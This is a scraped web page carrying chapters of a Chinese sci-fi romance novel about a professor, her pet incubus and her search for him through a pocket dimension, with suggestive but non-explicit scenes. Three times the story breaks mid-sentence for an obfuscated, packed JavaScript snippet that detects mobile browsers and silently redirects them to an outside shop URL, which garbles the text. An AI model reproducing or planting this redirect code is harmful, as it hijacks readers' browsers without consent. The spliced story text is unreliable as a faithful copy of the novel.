时间快到了。 “算了,别拿了,我先走了。” 小魅哒哒地走过来,踮起脚,我配合地弯腰,咬了下他的唇。 昨天的感觉很好,我才知道,亲吻是如此多样。 我迷上了亲吻。 “你可以出去玩,去找你的朋友们,去吃好吃的,去玩有趣的,你想怎样都可以。” 小魅攥着我给他的无限额白卡,点了点头。 办公室的同事们都知道我养了一只魅魔。 “姚教授,你说什么?去找朋友?你不知道魅魔没有朋友吗?”这是推荐我养魅魔的人说出来的话。 一共有三个同事,其中两个都饲养了魅魔,剩下一个养了一条人鱼。 “魅魔这种下贱的物种,竟然还有朋友,这真是一个天大的笑话。” 我手上动作没停,推了推鼻梁上的无框眼镜:“魅魔也是一个独立个体,他也有大脑,也有情感,为什么会没有朋友?” “因为魅魔没道德没节操,你不能用人类的标准来衡量他们,他们要的,只是人类提供给他们的情欲罢了。” 情欲? 爱情的一部分就是情欲,魅魔给人类提供爱,这我是知道的。 “姚教授家的新魅魔难道有朋友吗?那真是一个不正常的魅魔。” “不,我家小魅很正常,会思考,会提要求,还会和我举一反三。” 那个男人耸了耸肩,撇了下嘴:“或许姚教授家的是一位天才魅魔也不一定。” 另一个养魅魔的男人也附和一句:“我觉得很有可能,万一他能帮助姚教授搞实验呢。” 小魅还真能帮我搞实验。 我们在早上约定,晚上就寝前两小时,他准许我研究魔纹。 但他们轻佻的语气让我很不爽。 养人鱼的女人说:“哼,你们两个家里的魅魔,不就是一个供你们发泄的工具吗?主人怎样,宠物也怎样,魅魔与魅魔之间,还真不好比。” 她用手指点了点太阳穴:“这里的差距哦。” 那两个男人回到座位,抱着手斜睨了她一眼,不说话。 我把最后一个字符敲好,问那两个男人:“你们家里的魅魔是雄性还是雌性?” “我家的是雄性。” “我家的是雌性。” “怎么了,姚教授?” “没什么,就问问。” 网上对魅魔的介绍很少,更别说魔纹的功效和运行原理了。 这个星球上的人类对魅魔貌似没什么好感。 魅魔,只是一个流通在市场中的工具,他们的地位就像是避孕套、伟哥,摆在货架上,但无法在大庭广众下购买,更没有办法坦然地对他人讲出商品名字。 就算是这样耻于说出口,人类也别扭地需要它们。 我刚才差一点就对那两个养魅魔的男人问出“魔纹”的事。 不要和这种人交往。 这种还没脱离低级趣味的人,是无法向下兼容的。 “姚教授,”养人鱼的同事说,“如果您觉得魅魔不听话,或者太愚蠢,可以试着养人鱼。人鱼是一个聪明忠诚的物种,只不过有些傲娇。” 我摇头:“我家的魅魔很好,不需要,他是我家人。” “家人?”男人转过头来,“姚教授得到了一个如此优秀的魅魔,不愧是有钱人,魅魔都已经上升到家人的范畴了。” 我看了他一眼,男人眼中的不甘心都要溢出来了。 我不屑地乜斜他:“个体优秀罢了,你不优秀,怪谁呢?也对,不是谁都能搞出神经连接系统的,你说是不是,张副教授。” 学生还需要我。 我拿起光脑和包包,离开办公室。 我又升职了,拥有了自己的独立研究室和办公室。 工资更多了,我准备给小魅办一张银行卡,我的工资全打在他卡上,作为他的零花钱。 打开别墅门,我提着一袋菜在玄关换鞋,就看见小魅懒塌塌地趴在沙发上,用翅膀把自己裹起来,投影屏还在无声放着老电影。 是睡着了吗? 我悄无声息地把菜放进厨房。 然后来到他身边看他的睡颜。 巧克力肤色配粉嫩的翅膀和恶魔角,这是世界上独一无二的艺术品。 他的嘴巴紧闭,眼睫颤抖,脸颊被挤出了一坨肉。 可爱,想亲。 “主人……” “嗯,我回来了。” 他喉咙里发出呼噜呼噜的声音,猛地收起翅膀,扑过来抱紧我。 同时,爱心尾巴缠住我裸露的小腿,往上钻。 “尾巴别乱动。” “好。” 爱心尾巴尖停在了我大腿上,尖尖的末端戳着大腿肉,收紧,勒住。 “我饿。”他在我耳边说。 “我买菜了,等会儿做饭。” 我抱着他进厨房。 “不,主人,我想亲亲。” 不愧是我的顶级魅魔,和我刚才的想法不谋而合。 我左手托住他的头,右手托住他的屁股,将他抵在冰箱前。 我啄了下他的唇,夸赞道:“goodbaby。” “什么意思?” “好孩子。” 他低低地笑出声:“我不是小孩子。” 说罢,他贴着我的唇摩擦,用气音说:“换一个。” 我舔了下他的下唇,触碰到了他的舌尖:“mylove。” “什么意思?” “挚爱。” …… “主人进步好大。” “怎么说?” “之前明明什么都不知道,怎么现在这么会亲?” “你真当我不记得昨晚的事情吗?” …… “我饿。” “我去做饭。” 我换了身衣服,之前的衣服上蹭上了小魅的口水,前襟湿了不少。 我转头问小魅:“你的睡衣送到了吗?” “嗯,我把它洗了,已经烘干叠起来了。” 我欣慰地说:“做得不错。” 还以为他不知道这些生活常识呢,不愧是顶级魅魔。 小魅甩干手上的水:“主人,你教我认字吧。” 我把青椒切成丝:“好,晚上怎么样。” “晚上不是要搞……” “哦,对,晚上要搞你,不过认字也不耽误,你学不学?” “学。” 小魅不喜欢吃人类的食物,我看出来了。 “不吃就不吃,你喜欢吃什么?” “我喜欢……”他抬眼看我,又看我。 又来了又来了。 “大大方方地说出来。” “我喜欢吃主人的东西。” 什么意思?我的东西? 我要喂他? 喂他也没什么大不了的。 之前养的狸花猫不爱喝水,都是我追着喂它。 我对他招手:“过来。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470447|201450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他甩着尾巴坐在我的大腿上。 我用筷子夹了一个肉片。 “张嘴,啊——” 小魅:“……” “你怎么不张嘴?” “我自己能吃。” “你不是要我喂吗?” “我没说让你喂。” 那是要怎么搞? 小魅的爱心尾巴尖放在我空闲的手心:“主人,我以为你懂了。” “懂懂懂,我懂。” 作为一个顶尖人才,我怎么可能不懂。 于是,我开始捏他的爱心尾巴尖。 之前养猫养狗的时候就喜欢捏它们的肉垫。 爱心尾巴尖就像肉垫一样,得捏一下,他才能爽。 果不其然,他嘤咛一声,软软地倒在我身上。 我捏得更起劲了。 “主人,太用力了。” “抱……抱歉。” 我稍稍松了点力。 看他嘴唇微张,应该是想要吃饭了。 原来小魅的癖好是这样的啊,必须要边揉尾巴尖边喂饭。 我重新夹了片肉片,塞进他嘴里。 小魅嚼吧两下,吞了下去:“不,不是……要亲。” 我想到电视剧里的情节。 啊这…… 小魅的癖好还要再叠一层buff:边揉,边亲,边喂,才能吃好饭。 我是一个好主人,这难不倒我。 我把肉片塞进自己嘴里,一只手揉尾巴尖,一只手掰着他的头,用舌头推了进去。 “呜……” 肉片被他咽了下去,他用力怼着我,直起上半身跨坐在我腿上,双手环着我的脖子。 “主人……哈,看不出来,你喜欢这样。” 他舔了舔我的下巴,越来越下。 我一把把他摆回原位,我要为自己证明,这不是我的癖好。 “这不是你喜欢的吗?” 小魅被我抓着手臂,看着有些呆萌:“什么我喜欢的。” “不是你喜欢边亲边揉边吃饭吗?” “我是喜欢吃饭的时候边亲边揉,但……但不是吃这个饭?” “那你吃什么饭?” “我吃来自主人的饭。” “咕噜噜~” 小魅捂着肚子:“主人,我饿。” 他喉咙呼噜噜响,肚子咕噜噜响,他全身都在响。 “我要吃……主人……” “啥?吃谁?” “吃主人。” “啪嗒”,筷子掉在地上。 有钱人的命运难道就是被人谋杀,然后进行遗产争夺赛吗? 我有点不敢相信,我爱的顶级魅魔竟然要吃我! “主人脑子里只有科研吗?” “不,还有你,和你的魔纹。” “对,就是魔纹。” 小魅拉住我的手,伸进衣服里,贴在小腹上。 好热,魔纹在发烫。 “主人……把魔纹,填满。” 我颤抖地说:“用什么填?我的钱?” 他死死拉住我的手,还要往下移。 我用力,死死不让我的手往下。 “用钱?用钱怎么填满?” 我们的手都在颤抖。 “你不是要把我吃掉,然后独吞我的遗产吗?” “主人?” “嗯?” “我们亲过了。” “嗯。” “我还想亲。” “好。” “我想去卧室亲。” “……好。” 他突然把我的手松开,我没收住力,手往上钻,贴住他的胸。 有点瘦,有点骨感。 他闷哼一声:“就这样,把魔纹填满。” “填满了你就饱了是吗?” “嗯。” “你好瘦。” “所以呐,主人……要喂饱我。” 我看着他的眼,情不自禁地想:他有些营养不良,如果要我的钱,我给;如果要我的肉,我也给,只要能喂饱他。 他可能要从嘴唇开始吃我。 我视死如归! 5. 饲养魅魔第五天 难得兴致上来想给自己做一桌子饭菜,结果全都白费了。 我都没吃几口,小魅更是嘴巴动了两下就结束了。 下次还是在学校吃完饭再回来吧。 吹干头发后,戴上眼镜,镜片就会起雾。 不得不说,天气真是个怪家伙,前脚春天,后脚入夏,连夜晚都觉得是如此闷热。 不知今晚会不会下雨。 小魅抱着自己今天才买的食人鱼玩偶,呈“大”字型横在床的正中央。 他吹干头发后就换上睡衣,哒哒地霸占了我整张床。 我摸了摸锁骨,上面的咬痕已经愈合,为此,小魅还闷闷不乐了半个小时。 当时正抱着他,头上花洒喷出来的水对准我的头倾泻而下,弥补了我未曾淋过大雨的遗憾。 他摸着我的锁骨,又不甘心地咬一口:“人类的治愈能力这么强?我刚咬,就愈合了。” 我挪了一小步,让水打在我的背上:“是我的错,你喝到没?” “尝是尝到了。” “饱了吗?” “嗯……半饱。” “半饱不行哦,你再咬几口,我没啥,就血多,血色好,还健康。” 小魅捧着我的脸,啄了一下:“主人抱着我累吗?” “你才多重?”我笑道,“还没我的实验机器重呢。” 不知戳到了他哪门子笑点,他趴在我的肩上笑了好一会儿。 我拍他的屁股让他回头:“那你还要不要?” “不了不了。”小魅把我的湿发往后捋,“亲亲就好了……” “主人衣服都湿透了。” “你不也一样。” 小魅说的吃我,原来是吸我的血。 魅魔这个物种真是复杂得很,像猫,会呼噜呼噜叫;像狗,会送出自己的肉垫;现在还像一个吸血鬼,靠吸食人类的血液存活。 他现在换了个姿势,拿着我的笔记本,翻来覆去看我的笔记。 我家小魅果然是个天才,不识字,却过目不忘。他能根据我昨晚的讲述,一字一句地对上笔记本中的内容,对上的文字基本大差不差。 “主人,这是不是‘无欲无求’?” “对。” “那主人真的‘无欲无求’吗?” 我认真回复他:“现在差不多是的。” “哦……” 我现在对金钱名誉没什么欲望,对人生也没有什么追求。 他把笔记本摊在床上,猛地往后躺。 床垫弹了两下。 睡衣翻上去一角,露出肚脐。 我把睡衣拨弄至原位。 露肚脐容易拉肚子。 忘了说了,魅魔又像人。 我总是忍不住把小魅当成一个刚成年不久的单纯孩子,也对,他才100岁,而我,是他的两倍大。 他翻过身,下巴抵着玩偶:“主人是不是不喜欢欲望重的?” “嗯。” 我坐在床头,盖上被子,和他分享白天的事。 “主人不喜欢那人,所以下班之后去打他了吗?” 我呆滞一瞬:“欸?你怎么知道?” “哼,”他骄傲地躺在我的腿上,我们之间隔了一层被子,“我闻出来的。” “主人回来的时候,我闻到血腥味了,就猜测主人下班后出去打架了。” 我抚着他的头,我现在技术很好,也不担心炸毛:“他不尊重你,不尊重我,而且欲望太重,想着在我身上捞好处,这绝对不可以。” 小魅眨眨眼,粉色眼珠子一转:“我明白了……但主人可以在小魅身上捞好处。” 他把上衣掀上去,露出完整的紫色魔纹。 我为它着迷,也为他着迷。 小魅霸道地躺在床铺正中央,我在他身旁盘腿坐起,一只手抚摸着花纹,另一只手在空白的纸上临摹。 我成为了画“Rose”的“Jack”。 Headdown. Eyesonme. 很可惜,小魅刚才还在看我描摹他的魔纹。 “你知道你身上魔纹的运行原理吗?” “不……不知道。” 他难耐地闭眼,不受控地抖动喘息:“有点痒。” 近朱者赤,近墨者黑。他现在变得跟我一样怕痒。 我瞥了他一眼,继续投入绘画中:“忍一忍,马上就好。” 小魅把自己的头塞进食人鱼玩偶的嘴里,闷闷的声音传来:“我自出生起,就有魔纹,因为没有其他魅魔教导我,所以我对我自己都一知半解的,只能像个野兽一般遵从自己的生理本能。” “没关系,我和你一样,没爹没妈,对你的身体构造更是一头雾水,我们一起进步。” “主人是要解剖我吗?” “哈?” 这话说出来,好诡异,我自己都有点绷不住。 我就这么像做人体实验的变态科学家吗? “好了。” 我下意识“啪”地拍了下他的大腿,他利索地从食人鱼嘴里钻出来,一骨碌地来到我身边。 我真的很喜欢这个紫色花纹,和古王朝的魔法阵一样,充满神秘和力量。 “你在做什么时花纹会发热?” “想亲主人的时候,在浴室里它就一直在发热,我们俩贴这么紧,主人没感受出来吗?” “亲得太认真,没注意到。” 再说了,还隔着一层湿透的衣服呢。 我在本子上记下:心跳加快、血液上涌时可触发。 “什么时候花纹会亮?” “花纹发热的时候。” 我在本子上打上一个“?”。 魅魔是有魔力的物种,他们的魔纹发热发亮大概率是魔力启动的。 这就跟alpha和omega的信息素差不多。 那beta怎么办? 没有信息素就无法驱动装置吗? “小魅,帮我个忙。” “什么?” “你把魔力聚集到魔纹处。” 小魅沉默一秒后,问我:“怎么聚?” 我沉默一秒,不确定地说:“魔纹怎么发热的你就怎么聚。” 请恕我实在不能教导他。 我是beta,没有信息素;我不是魅魔,没有魔力。 小魅往我这里挪了挪。 “那主人,你亲我。” 我的笔放下也不是,拿起也不是:“我们在浴室里才亲过,你都快把我榨干了……” 小魅抿嘴,一声不吭地下床,趿拉着拖鞋出去,又趿拉着拖鞋回来。 “主人先喝水。” 我听话地把水喝完。 “好了,可以亲了吗?” 我点头。 感觉他胆子越来越大了,是我的错觉吗? “这叫大大方方的,还是主人教我的,唔……” 我轻轻咬住他的舌尖:“别说话……” 我按住他的脑袋,同时把快探到我胸口的爱心尾巴尖拽下来,转了几个圈,攥在手里。 他一个吃痛咬住我的下唇。 “嘶……” 我品尝到了自己的血。 伤口快速愈合,只剩下双唇红肿一片。 趁现在,我的手钻进他衣服中,摸了摸小腹。 热了。 小魅突然泄力,软塌塌地倒下。 喉咙里发出呼噜声。 他捉住我的手,贴在自己脸上。 “主人,我这算为科学做出贡献吗?” 我捏捏他的脸蛋:“算,当然算,到时候用专利赚来的钱都给你。” 他今天睡的是我的房间,我的床。 “我做出了这么大的贡献,难道不能睡这里吗?!” “能睡能睡,当然能睡,就是……小魅你往边上去去,我快掉下去了。” “哦。” “那个,能一人一床被子吗?” “不能,主人嫌弃我就直说。” “不嫌弃不嫌弃,但也不至于食人鱼玩偶单独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470448|201450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖一个被子吧?” · 小魅还要去找他的人鱼朋友玩。 昨天就是和他的人鱼朋友一起买的食人鱼玩偶。 衣柜里的衣服都是符合他尺寸的,还有很多好看的帽子,能盖住他的恶魔角。 尾巴和翅膀都能收进体内,但恶魔角不行。 这让他出去不得不戴帽子。 “主人,我今天要到国都的中央大街。” “可以啊,那里人多,记得和朋友一起走,别走散了。” 我穿上板鞋,把图纸放进背包,把长发扎成低马尾。 “我先去上班了。” “等等,离别吻。” 我差点忘了。 “吧唧”一口,印上他的嘴唇。 我之前和江寄舟研究的“信息素——合晶——神经”三位一体连接方式大获成功。 或许能用同样的法子将“魔纹”应用到人类小腹处或腰处。 江寄舟在搞机甲,我拿到属于自己的那一笔专利费后就回到学校当教授了。 合晶剥离于人鱼的尾部鳞片。 剥离技术是我的专利。 人鱼的尾部鳞片每年都会自然脱落,之前,人类,包括人鱼都认为这是一个毫无价值的垃圾。 既然蝉蜕能入药,治疗风热感冒,麻疹瘙痒,那人鱼的尾鳞也有过人之处。 尾鳞无法入药,如果磨制成粉,反而会破坏里面的结构平衡,使之成为一堆普通的钙质和磷质。 尾鳞无法入药,内部结构却很奇特,我给那条复杂的双螺旋链命名为γ链,就像DNA一般,γ链也有“生命”。 它之所以脱落,是因为γ链不断生长,像雨后春笋,冲破了人鱼皮肉的束缚,自然脱落。 这种能自我生长进步的γ链,反而能和信息素良好结合。 信息素独自成为一链,和γ链结合成三螺旋结构,信息素能有效抑制γ链的生长,并成功将γ链作为交流平台,成功和大脑进行连接,传输人类通过大脑发出的命令。 这样,由密密麻麻的γ链组成的具有良好延展性的合晶,就这样诞生了。 剥离γ链的机器,就是我制作的。 毕竟是我发现的γ链,也是我第一个提取出γ链的。 成功制作了一个合晶,并将合晶拉伸成魔纹的样子,然后将发热导丝融入其中。 我身后有三十罐装信息素的玻璃瓶,各等级的alpha和omega的信息素都存放在此。 拿了一个密度最低的omega信息素,在罐子里喷了喷沉附喷剂,顿时,荧光粒子粘附在信息素粒子上,使其显形。 最弱信息素无法驱动发热导丝。 实验失败。 第一条可能pass。 …… 第二条pass。 …… 第三条,第四条…… 一共十种可能,全都失败。 魔纹到底是何方神圣? 魅魔到底是何方神圣? 唉,宇宙之大,无奇不有,物种多样性的价值这就体现出来了。 现在有高智慧的非人物种中,只有第三星系的虫族和第五星系的死灵位于人类的对立面,其他的星系的物种,要么是合作关系,要么是中立。 现在和人类合作关系最好的,就属巨人和兽人。至于魅魔和人鱼,说是合作,其实是附庸。 小魅不是我的附庸,他是我的家人。 为何我在这么短的时间内认定他是家人? 我想大概是因为,他说他爱我。 我就是个没脑子的理想主义者,我信他爱我。 白天开始延长。 我在实验室浪费了点时间,回到家时,天已经黑了。 家里没开灯。 “小魅?” “小魅你在家吗?” 卧室里没有。 盥洗室里没有。 书房也没有。 花园,泳池,草丛,池塘,通通没有! 小魅! 6. 饲养魅魔第六天 幸亏今天上班穿的是平底鞋,背的是双肩包,不然开车都要脱鞋踩油门。 我可不想我的十二分被扣光。 我有国都中央大街总控室的权限,毕竟这地方是我在一百年前投资建设的。 “姚总?姚总怎么来了?” 穿着紧身西装的总经理迈着小碎步,点头哈腰地朝我奔来。 看吧看吧,这就是有权力的好处。 现在朝我鞠躬讨好的,是当年负责建设中央大街的总工程师的孙子。 这家族真是越来越不景气,爷爷那辈还能和我平起平坐,现在孙子只能当个小小的经理。 而我,悲哀的是,已经到了奶奶的辈分。 不……是活得够久的太奶。 “我来视察,调监控。” “好的好的,咱们一共三十块大屏,需不需要我找人和您一起?” “和我一起叫什么视察?你到外面去。” 《魅魔饲养手册》上第三、第四章我都没来得及看,不知道“魅魔抛弃主人”算不算违法行为。 我可不想让小魅进牢里蹲着。 再说了,小魅是我的私人财产,是个人都不喜欢别人盯着自己的钞票看。 三十块大屏同时以六倍速,从早上七点播放到晚上八点。 17:53,小魅进入人类beta雄性厕所。 18:22,小魅走出厕所。 随后转弯,消失在画面里。 我反复拉进度条,反复回看。 他是不是在拉大号?待这么久。 还有,他为什么不去六楼魅魔专属厕所? 他旁边还有一个比他高一头、和我差不多高的人。 蓝色长发,戴着帽子,穿得人模狗样,没我家小魅好看…… 那人男的女的? 既然进了beta雄性厕所,那就当他是位雄性beta。 只不过…… 我把小魅出厕所那一段反复回拉。 是我的错觉吗? 小魅变白了。 他走路的姿态、行为习惯、小动作,还有当天那一身着装,我都记得很清楚。 我很确定,这个变成冷白皮的魅魔,就是小魅。 魅魔……还会变色?! 我把那个蓝色长发的人拍下来,把照片交给经理。 “你帮我查一下这个人。” 经理接过照片,扫描进内部系统,筛查今天所有登记入场的人员。 为了方便执法,进入第九星系的所有物种,都要办理出入证;如果要在这里工作、上学、定居,则需要办理身份证。 进入大型密集型公共场所前,都要在门口进行人脸识别登记,确保是正规人员。 时间一分一秒过去,我不耐烦地敲着桌子。 看着屏幕里白皮肤的小魅出神。 监视器里小魅的样貌不算清晰,却依旧掩不住貌美。 这个年代对物种歧视的管控很严。目前已经发现十二个星系,大部分星系之间都有往来,要是被人告你歧视……拖出去立马枪毙。 我发誓,我没有物种歧视、人种歧视、肤色歧视。 但白皮肤的小魅,确实别有一番风味。 之前的小魅是“热可可”,现在的小魅就是“小布丁”。 夏天的小布丁,美味。 脑环搜索显示:魅魔不会变色。如果有魅魔变色,可能是受主人的性癖影响。 性癖? 我发誓,我没有,我是正常人。 会自然变色的小魅,不愧是顶级魅魔。 “抱歉,姚总……”经理一脸为难,“有点不对劲,这个人,系统里没有登记信息。” 我心头一颤,感到不妙:“是中央大街没登记,还是第九星系系统都没登记?” “第九星系。” 小魅的朋友是个黑户。 我把白色小魅的图片发给他。 “这个人,也搜一下。” “也没有这人的信息。” 黑户,黑户,黑户…… 还好还有黑色状态的小魅没搜。 现在还没法断言小魅本身就是黑户。 我夺过经理手上的光脑:“你能查看第九星系所有已登记魅魔的信息吗?” “不行,我没有这个权限。” “啧,废物一个。” “……” 请原谅我的无理,经理。 我下意识忽略了你家族早已没落的事实。 对不起,我可真刻薄。 我一手拿过光脑,一手用脑环拨通江寄舟的电话。 江寄舟又拽又欠的声音响起:“搞咩啊,我在忙。” “我要入境人员筛查系统的权限。” 江寄舟只顿了一秒,那一秒,她大概在猜我要权限的各种理由。 “权限没有,你自己上这个网站:yasdsb%&*#*%。” 从这个网址进去,再输入江寄舟的密码,就能用镜像网站搜索第九星系的入境物种。 “江寄舟,我承认你是我的天才女友。” “谢谢哈。” 不得不说,江寄舟真西八是个人才,我愿意让她担任“姚爱朋友”一职。 她才五十岁,就已经能黑进星系系统,做出一个镜像网站。 我当年推荐她去星系计算机中心,她不去,真是国家级损失。 不过,天才在哪都是天才,她用这个东西筛选自己的机甲实验体。 我一定要把江寄舟的寿命上限提到两百岁以上,起码要跟我一样能活。 小魅果然是黑户。 黑皮是黑户,白皮也是黑户,他和他的黑户朋友,直接组成了一个黑户组合。 我都快不认识“黑户”这两个字了。 小魅是我在五星级魅魔服务店合法买下的。要么那家店是非法的,要么就是顶级魅魔本身出了问题。 我喝了口水,砸吧两下嘴,嗯,没小魅亲口喂得好喝。 算了无所谓,他现在又没害我,而且我,还爱着他。 呵,这或许是一见钟情的代价,我真是个被万人唾骂的恋爱脑。 上户口是再简单不过的事。 到时候只要问他,是愿意当人类,还是愿意当魅魔。哪怕是当个孢子或者无面者,我都能给他办下来。 经理在我旁边走两步又停下,搓搓手又叹口气,抬起手想说两句,又放下手拍拍裤腿。 能说吗?他简直像只蚊子。 “姚总,那个……需不需要我封锁中央大街?” “为什么要封锁?封了现在的游客怎么办?” “咱们不是要抓人吗?” “谁告诉你要抓人了?你走吧。” 经理点头鞠躬:“好的,好的。” 我来到三楼的beta专用厕所。楼下是alpha厕所,楼上是omega厕所,每一层厕所都不一样,用来适配各种生物。 中央大街结构错综复杂,十二层楼像一条条编好的麻花辫,矗立在国都正中央。 后悔。 当初建造时,我一看到图纸就觉得好看,直接让他们动工。结果一百年过去,回旋镖正中我心脏。 这地方也太难找了。 看来平时还是要适当逛逛这些地方。 脑子里还存着当年的设计图纸。 调出来,投射在脑环上,顿时,一个蓝色的虚拟可触摸投影浮现在空气中。 只有我能看见。 我把三楼找了一遍,都没发现监控里那个诡异的拐角。 总不可能是监控显示器出错了吧? 小魅不会用魔力,总不可能自己造出一个异空间…… 等等…… 他,真的,不会用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470449|201450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔力吗? 我甚至怀疑,昨天晚上那场激烈的亲吻,直接打通了他的任督二脉。 我又折回三楼厕所。从beta雄性厕所出来后,转弯是一条绿色通道。绿色通道里比其他地方更阴冷潮湿。 那是因为绿色通道内部的填充物是固态冷凝水,用来紧急应对突发火灾或突发攻击。 固态冷凝水并不是真正的“水”,但既能灭火,也能保护居民。 它可以将整个人包裹起来,形成防御姿态。冷凝水里含有维持生命的基本微量元素,能让人陷入短暂沉睡,以应对恐怖袭击。 为什么我什么都懂? 你以为我投资建设中央大街是为了赚钱吗? 不不不,格局小了。 固态冷凝水是我研发的,为了配合它的用途,我才投资建了这么一座大型商场。 只不过这东西更多被用在战场上,用来运送受伤士兵。 往绿色通道深处走,空间忽然变得空旷。鞋子踩在地板上的“哒哒”声,在整个空间里回荡。 我转头一看,人群消失了,三楼消失了,中央大街也消失了。 只剩下前方一点亮光。 我进入了异世界,这里只有我一个人。 这一定有触发条件,不然每个走进绿色通道的人都会凭空消失。 但新闻上从来没播报过失踪消息。 我只是一个有点钱、有点脑子的普通beta,身上没有任何特殊东西。 可小魅能进来,我也能进来,那我们俩唯一的交集是…… 我知道了。 我身上有小魅的□□。 说来惭愧。 最近跟小魅亲得比较多,所以,嘿嘿,身上沾点味道也很正常。 我闻了闻自己的手臂,嗯,确实有一股花香。 我沿着这条无尽通道继续往前走。 脑环没有信号,说明这是一个独立空间。 我不太相信这个庞大的空间是小魅自己造的,他没这个脑子,也没这个能力。 这是典型的空间套中套,如果人类要搞出来,需要两个顶级alpha或omega的信息素。 魅魔这种生物,生存核心就是等量置换。 魅魔靠人类给的食物活下去;人类想要孩子,魅魔可以生;人类想要服务,魅魔可以做。 小魅从我这里获取了血液,我从他身上得到了新的实验灵感。 我爱他,他是我的缪斯。 他爱我,我是他的食物。 我们俩的关系,在小魅逃走的这一刻才真正理清。 我不希望我只是他的食物。 越想越难过。 小魅说不定真的受不了我身上的老人味,准备逃掉,换一个新主人。 甚至连逃跑通道都找好了。 我快走到绿色通道尽头了。 回头看,一片漆黑没有光;往前看,却出现一丝微弱的光亮。 脑环显示,现在是晚上十点。 得赶紧找到小魅,明天还要上班。 又是一扇门。 我轻轻推开,大门发出“吱呀——吱呀——”的声响,有点像恐怖片开头。 门彻底推开,我看见了…… 这里什么特殊的东西都没有。 没有人,没有魅魔,没有桌子也没有椅子,只有一个巨大、深不见底的水池。 池子里的水浑浊不堪,泛着绿光,像格格巫熬的魔药。 我沿着水池边的小路走到对面,拉开一扇小门。 里面是一间满地报纸和空纸盒的房间。 报纸,都是多少年前的老东西了,上面的新闻还是一百二十年前的“魅魔与人类达成合作”。 纸盒,现在也很少有人用,如今居民大多用空间存储器。 纸盒…… 小魅刚到我家时,就是待在纸盒里的。 7. 饲养魅魔第七天 小魅难道和那位传说中的侦探一样,被黑暗组织灌下神秘药剂,然后打包塞进纸箱,扔在我家门口吗? 虽然我好歹也算是个博士…… 有一说一,上面那段长难句说得还真不错。 纵使我脑中闪过无数种可能,我也坚定地相信,小魅不是来谋杀我、夺取巨额财产的。 杀人骗保的案子,数不胜数。 小魅没有给我买保险,这是其一。 我自己也没有买保险,这是其二。 至于我为什么没给自己买保险,这你别管。 其实就是有钱,我看病都大方地全额付款,绝不报销。 好了好了,说回正题。 堆满纸箱和报纸的地下室,泛着绿光、诡异无比的游泳池…… 我大概是掉进兔子洞了。 也算年轻了一把,当上爱丽丝了。 我想得其实很简单:面对这种异次元兔子洞,最好的办法就是…… 一拳击碎这个破洞。 我不是地表最强beta,我承认。 因为最强的那个在搞机甲。 江寄舟,我再一次赞美她性感的大脑。 我包里有一副微型外骨骼,也是合晶制成的。 还记得吗?γ链能在没有信息素干扰的情况下自由生长。 巧了,我没有信息素。 这副微型外骨骼,就是给我这种beta用来自保的。 当然,我手上这件是ProMax版。 外骨骼的初始形态是一枚戒指,戴在哪根手指都行。 戴上去的一瞬间,戒指顶端就开始疯狂生长。 仿佛皮肤上又长出一层银色的皮,将我的整条右臂包裹住。 这是保护壳。 如果我有信息素,我就可以先抑制信息素等它生长,再释放信息素和它连接,让它放大我的攻击力。 还是那句话,我是beta。 但我力气大。 不输alpha。 变异? 你肯定会这么想,觉得我是个变异beta。 差不多吧。 我的确很厉害。 虽然这么夸自己有点不要脸。 这个地方没有活体生命,留在这里也没用。 我选择毁掉这里,逃出去。 异空间说简单也不简单。 只要能打破它,它对你就很简单。 如果是个弱者,那就等着饿死吧。 给大地来一拳! 这是爱的刮痧! 在外骨骼的包裹下,我的黄金右臂没有受到任何伤害。 异空间…… 对不起了,异空间,我把你打得支离破碎。 房间的墙壁碎裂,连带着外面那片“绿色浓汤”也被冲击得洒了一地。 踩上去,恶心极了。 这根本就是个“化学粪池”,任何生物在这片水域里待上一天就会暴毙。 拿来处置犯人,就算是国际战争处置会议,都会觉得有违伦理道德。 我从包里拿出一支试管,装了一点点绿水。 试管是实验室里的,已经洗干净了,本来是想采集小魅的血,结果装了这玩意儿。 按道理来说,异空间破碎,我应该回到原地。 可是,我眼前依旧是一片黑暗。 套中套中套。 碟中谍中碟。 这部电影还没完结吗? 我的探险还没结束吗? 说实话,我是有点生气。 脑子里全都是:找到小魅以后,先把他吊起来打一顿,再问他为什么离家出走。 我打开背包挂件的盖子,从里面掏出一个拇指盖大小的球形容器。 从外表看,里面装着薛定谔的空气;实际上,这是一位S级alpha的信息素。 捏碎容器,外骨骼感知到信息素,停止扩散。 这会儿,我的半张脸已经被外骨骼覆盖了。 感觉还挺帅的,我那模样应该是高冷、高智、高大的银色机械姬。 我都想好了:要是有敌人攻过来,而我又接不住,我就尽量让右半张脸去抗下那一拳。 我越走越快。 我有点着急。 明天还要上班。 今天得早睡。 